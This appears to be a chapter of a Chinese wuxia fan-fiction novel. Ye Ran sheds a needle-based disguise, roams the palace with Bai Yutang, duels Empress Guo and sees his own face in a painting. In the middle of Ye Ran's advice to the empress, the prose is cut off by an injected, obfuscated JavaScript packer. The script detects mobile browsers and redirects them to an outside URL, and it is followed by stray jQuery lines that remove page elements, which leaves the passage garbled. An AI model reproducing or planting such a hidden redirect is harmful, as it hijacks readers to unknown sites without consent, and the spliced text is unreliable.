32. 托梦(完)

作品:《少侠请留步![综武侠]

    叶染一听这话急了,阻拦不及只得先开口拖延:“小白你莫急,好歹等我把脸上这层易容给卸了。”


    白玉堂这才略略顿住脚步,站在墙头催促:“你快些、就是顶着这张阴阳脸旁人也没得说去!”


    “还有,小白又是什么?!”


    叶染笑了:“谁知道五爷竟这般有兴致,探完了一次天子寝宫还不成,这厢又要去哪儿瞧瞧?”


    他边说边往袖袋中一摸,掏出一条卷好的青布褡裢,伸手展开,竟是一百单八根雪白银针。


    这却是一缓兵之计。


    果然,见了这等稀罕物,某只好奇的白老鼠当即跳下墙头:


    “你不是说要卸易容吗?扯出这么些大夫用的针来作甚?”


    叶染笑了:“你刚不是说要学我那易容改貌的功夫?这就是了。”


    话音刚落,只见叶染内力稍转,在面部关窍轻击七下,然后取三十六根牛毛细针、蹭蹭蹭扎入眉眼鼻翼,又取那四十六根圆头大针、嗖嗖嗖没入颌骨面颊——,


    等到所有针型各自在位准备停当,第一根针的末梢还在些微颤动,可谓速度奇快、神乎其技。


    接着,在白玉堂惊奇的目光中,就见叶染五指张开,扣于面骨处,微微用力。


    霎时间,那银针竟似银色的细蛇,活过来般,一股股钻入肌骨,牵引提拉。


    都说人的面容相貌最为神奇,只需稍微改变就立马大有不同,更何况这些银针竟好像带着所有的肌骨一起都有了毫厘的改移。


    还没等白玉堂缓口气的功夫,面前之人眉眼五官骤然一变。


    竟是又回到了那副面容周正、貌不惊人的普通模样。


    白玉堂暗暗咂舌,“这是什么法门?好生奇诡!”


    叶染一边运气收功,并挨个捻起针尾、把面上的银针一一卸去,一边解释:“这是我初作梨园子弟时,家师传授的一门金针刺穴的功夫,能暂时改易容貌。”


    他将最后一根银针取下,细细擦拭后收入褡裢:“只可惜撑不住什么时候,最多不出几天便会变回原本的形容样貌,所以也算不得高明。”


    “这还算不得高明?我可算是发现了,你这叶染叶、大、师惯会藏拙!”


    白玉堂斜睨了人一眼,颇没好气,扭头又细细打量起叶染这张看起来普普通通、实际更是通通普普的白净面皮来——,


    越看却越是觉得这真是掉进人堆里也认不出来,上上下下真是毫无破绽!


    末了,


    心中突然冒出一个问题:


    这张脸是叶染真容吗?


    白玉堂悚然一惊,连忙猛地摇了摇头,将此等怀疑摇出脑外。


    他心中失笑,暗道自己真是被这夜探之事给搞紧张了,竟疑心生暗鬼,怀疑起自家朋友来。


    而且倘若这人当真有所隐瞒,又如何会让他在旁观摩全程?


    叶染可不知道面前这只白老鼠心中的弯弯绕,眼下他卸去了脸上的易容,正自轻快。谁知还没歇口气就又听白玉堂喊:


    “行了行了,你这易容也卸了、东西也收了,叶兄是否能移了尊步,陪在下去那皇宫内苑玩玩去了?”


    叶染扶额:“你还没忘呐。”


    白玉堂撇嘴:“你当我是那三岁小孩不成?随便任你打个岔我便忘记要去做什么了?”


    叶染:……我看你这跟三岁也没区别。


    叶染无奈,见这白老鼠又要跃上墙头,连忙抬腿跟上,生怕这皮孩子真闹出什么祸事来。


    **


    两人轻功在琉璃瓦上飞跃,几个连点跳上紫宸殿的脊兽。


    从高处俯瞰,远处的开封城在夜色下像一只正在休憩的巨兽,四周城垛高耸蜿蜒,匍匐在那里,拱卫着安居乐业的百姓屋瓦,也如沉默的护卫,守护着浩浩天子、泱泱皇城。


    从巷道里遥遥地传来了几声梆子,正是五更天明时分,万丈霞光从天际最远处的地下一下子挣出来,洒在开封城每一颗砖瓦上。


    就像当年他告别天子、率军出征时一样。


    叶染突然问:“你说…这世间之城是不是都如开封一般?”


    “什么?”白玉堂挑眉,看起来每太明白。


    叶染怅然,望向城中盛景:“如这开封一般,庸碌、幸福、平和、安稳。”


    白玉堂却嗤笑一声:“若真能如此,岂不是人间处处是京城、世间地地是盛景?叶兄怎得突然做起这酸儒感慨来了?”


    叶染摇了摇头,散去心中那一丝怅然,“却是我着相了。总归……”


    他笑起来:


    “问心无愧。”


    **


    如今天色已然擦亮,


    两人原本打算稍稍游逛一番便潜出皇宫,谁知刚到后苑不久,却听见一宫殿中传来了练武的呼喝之声。


    叶染探头一看,正见那处匾额上写着“坤宁宫”三字。再看其殿宇气势磅礴,左右各三个小殿环簇拱卫,又加之连排宫苑次第铺展,俨然一派威仪气象。


    白玉堂手搭凉棚,好奇张望。


    “那是什么去处?怎会传来演武之声?”


    叶染却暗暗皱眉:“看屋盖形制,像是凤驾所在。”


    “说人话!”白玉堂一瞪。


    叶染失笑:“就是皇后所居住的中宫,对了,本朝这位天家皇后是谁?子嗣又怎么样?”


    白玉堂难得摸了摸鼻子:“咱们这个官家什么都好,就是这方面……嘛,不大行。”


    他解释:“前两年那位刘太后把持朝政时还拘着些,等到太后薨了,官家这各色美人是没少纳、可到现在也没见着哪位生出个皇子公主来。”


    “哦?”


    叶染挑眉,又往那中宫望了一眼:“怎么没听你提起这位皇后?可是官家与人有什么嫌隙?”


    白玉堂却一摊手:“这我哪儿知道。只听闻这位皇后姓郭,极为善妒。剩下的就都是朝堂的腌臜事了。”


    叶染闻言皱了皱眉头。


    善妒?


    在这种时代背景中,能用这个词来评价、对于一位女子来说可着实是诛心。


    而这种话既然能从皇宫内苑传至市井、连白玉堂这种江湖人都略知一二,就证明朝野上下…不,是天子,在有意纵容这件事的发展。


    “皇帝怕是动了废后的心思!”


    叶染突然问:“这位郭皇后先前是否和刘太后交好?”


    “这……”白玉堂瞪大眼睛,似是回想两刻,才狐疑地点了下头:


    “先前确实都说刘太后把持朝政不撒手,酸腐书生们好一通骂。啧,不过算算时间,这郭皇后确实是在刘太后那时候进的宫,好像家中还是行伍出身。”


    白玉堂抚了两下折扇,突然一挑眉:“你怎得还突然关心起人家皇帝家事来了?”


    叶染却没空答话,只是细细思量一番,将前后因果联系在一起:“这就对了。这郭皇后是刘太后一派的人,如今你说那位刘太后已薨,那这郭太后自然会失势。如今一看怕是……离废黜不远了。”


    他看向白玉堂,“这哪里是家事,分明是皇权之争。”


    白玉堂却失笑:


    “那又如何?总归和天底下的平头老百姓又无甚关系,和我这种高来高去的江湖豪客就更是八竿子都打不着去!”


    朝阳下,少年衣带飘飘,锦衣华服,此时狡黠一笑,端是一派自在洒脱。


    他道:“我现在啊,只好奇里面演武的到底是不是那位‘善妒’的郭皇后!”


    也罢。


    叶染摇了摇头,也笑了:“算了,总归都陪你跑来这一趟。我看呐,你这不把天捅个窟窿出来,怕是都不会回头的!”


    两人这般说罢,竟真一前一后朝着皇后所住中宫跃去。


    **


    等两人翻墙越瓦,来到宫中,果真见一朱钗玉佩的美艳女子立在殿宇中央的空地上、正呼喝习练武技。


    此时女子双手持一根长约丈许的长棍,脚踩一双猞皮快靴,浑身钗环素净,闪转腾挪间——稍一发力,木棍接连向前刺出数下,竟隐有音爆之声。


    使的竟是一门大开大合的好枪法!


    “好!”


    白玉堂见猎心喜,见时间尚早、四周并无什么宫女仆从,竟直接跳下了藏身的大树。


    “别!”


    叶染大叫不妙,紧跟了下去。


    “谁?”


    谁知这女子当即一杆刺出,枪锋如芒,劲风扑面。


    前头这白老鼠见势不妙,促狭一转,倒是一个滑步走脱了去,独留叶染直面这势如破竹的枪芒。


    电光火石间,


    叶染在轻功遁逃和正面对阵之间犹豫一霎,终归是叹了口气。


    他手执折扇,左侧步前移,直面而上,不闪不避,只在枪式袭身前的那一刹那找准机会,手中扇柄击出,直冲招式薄弱刺去。


    “嘭!”


    银扇与棍棒相接,就见青年手腕一转,反手勾住那棍,一推一拉,竟将棍杆顺势带出,擦身而过。


    下一秒,


    “皇后娘娘万福。”


    叶染收扇入袋,拱手施礼,已经从女子周身打扮气度,确认了此人身份便就是那位将门出身的郭皇后。


    谁知,


    “你怎知我的枪法那处的破绽?可是我习练哪处力有未逮?”


    郭皇后毫无什么深宫闯进了外男的娇羞惊慌,仍皱眉看着手中的长棍,似是对刚刚招式被拆一事非常介意。


    叶染却摇了摇头,叹了口气:“不是招式的问题,而是娘娘你不常与人对练拆招,经验过少的缘故。”


    他转过手来,从空中顺着刚刚的棍式简单比划:“倘若你当时如此变式,我纵然能够带偏你的武器,却也无法轻松脱身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024012|162217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    郭皇后闻言顿了一下,却是漠然。


    “是了,无论再如何习练。总归是花花架子罢了。”


    她一抚手,刚刚的长棍便摔落在地:“你二人是待要如何?看本宫的笑话吗?还是想立时拉出去领死?”


    叶染连忙摆手,白玉堂更是摇头。


    两人当然能转头就走,可如今二人一没蒙面二没易容,一旦走出去,一张海捕文书怕是跑不掉。


    叶染倒是能无事一身轻,但若真要扣上什么“调戏”后妃的罪名,恐怕这威名远扬的锦毛鼠再过不久就要成一只死老鼠了。


    想到这里,


    叶染狠瞪了白玉堂两眼,换来一双故作无辜的眼睛,只能暗骂自己交友不慎。


    那边儿的郭皇后可不管两人的眉眼官司,此刻她心情颇为不美,就差拿这两位贼人撒气:


    “怎么?还没商量好吗?那本宫这便喊人来做个见证罢!”


    叶染:……


    叶染当即一梗脖子:“娘娘可知自己要大祸临头了?”


    这下郭皇后的脸色却是数变,先开始是涨红,看着叶染与白玉堂,眼神闪烁两下,不知是误会了什么,血色一点点褪去,终究变成了苍白。


    最后郭皇后噔噔噔倒退数步,嗤笑出声:


    “赵祯他当真孬种,竟连场面都不肯走一回,要以此等腌臜手段污我名节,废杀我去吗?!”


    这话却是吓了叶染一跳,顿时如芒在背、急急解释:“我等绝不是那暗昧宵小之徒!”


    “切,似你一般当然不会说自己是宵小了!”郭皇后仍旧向后殿方向挪步,看样子已张口欲喊。


    白玉堂:“不妨,看我的。”


    白玉堂此刻不知想的什么,竟左腿微拱,跃跃欲试,看起来马上就要蹿出去劫人。


    两厢焦急之间,


    “够了!”


    叶染脚尖一勾一提,竟将那落地的长棍抓在手中,下一秒只见棍式残影般一闪,刹那已点至两人之间。


    “刺啦——!”


    只听一声尖锐的音爆如雷震响,光空中的气劲都震得两旁衣袂如刀,直在身上割出了红痕。


    “好快的枪!”


    郭皇后脱口而出,看向叶染的眼神中有些许不可置信。


    这竟是一杆再纯正不过、沙场冲阵之枪。


    而叶染一击过后,暗自平复心口翻腾不休的气血,面上却是如常,只凝神问道:


    “这下皇后娘娘可是信了?”


    郭皇后飒然一笑:“叫我郭青便是。能使出此等枪法的,必不是什么暗昧宵小之徒!”


    她一抱拳:“敢问将军名姓?不知这枪法可否演示给我一招半式?”


    倒是个干脆利落的直性子。


    叶染摆摆手,连忙推脱:“什么将军,在下只是个唱戏的。许多招式也是花花样子罢了。”


    郭青夫人当然不会被这么糊弄过去:“你这一下出手,就是花架子那也不是一般的花架子!别拖拉,你就说教不教吧!”


    她说着,下巴一扬、指指宫女们的后院偏房,威胁之意溢于言表。


    这话音一撂,叶染却是无可奈何,和旁边某白少侠对视一眼。


    白玉堂眨眨眼:“咱就别藏拙了吧?”


    叶染忍不住拍了某只幸灾乐祸的白老鼠一记,心中却也有了计较。


    “也好,我这正好有一套枪谱走的是轻灵闪转的路子,倒是可以直接抄给你。”


    这下换作是对面的郭皇后狐疑了:“旁的枪谱可是护院传家的本领,你怎会轻易给人?其实我也没那么贪心,只要你演练一遍就好。”


    叶染看着女子率真明亮的眼睛,却笑了:


    “没有,只是害怕明珠蒙尘。”


    郭青与人对视两眼,竟像是感受到了某种鼓舞,兀地仰头大笑。


    “好,爽快!”


    竟要震落了风雪。


    **


    三人这厢移步侧殿书房,郭皇后亲自打了灯、白玉堂也兴致盎然地伸手给叶染掌上了笔墨。


    叶染不免失笑,凑近人耳朵小声调侃:


    “能劳动锦毛鼠白五爷为在下伺候文房,怕是官家都没这待遇吧。”


    白玉堂挤眉弄眼:“那是那是,也不看爷爷我是谁。”


    谁知叶染转头才要起笔,却见那边灯火渐次亮起,忽照出书案后方一幅瑞鹤献春图。


    其上祥云锦簇,鹤鸣铮铮,云端白鹤之上又有一衣带飘然的仙童。


    只见那仙童额间一点朱砂,眉眼如画,却是积石有玉,列松如翠之貌,俊艳非常。


    然而,


    在目光触及到那张脸的霎那,


    叶染心口狂跳,只感觉一口冰水从头浇到了脚底板,竟是连最末端的指节都要冻住了。


    那画里的竟是,


    他自己。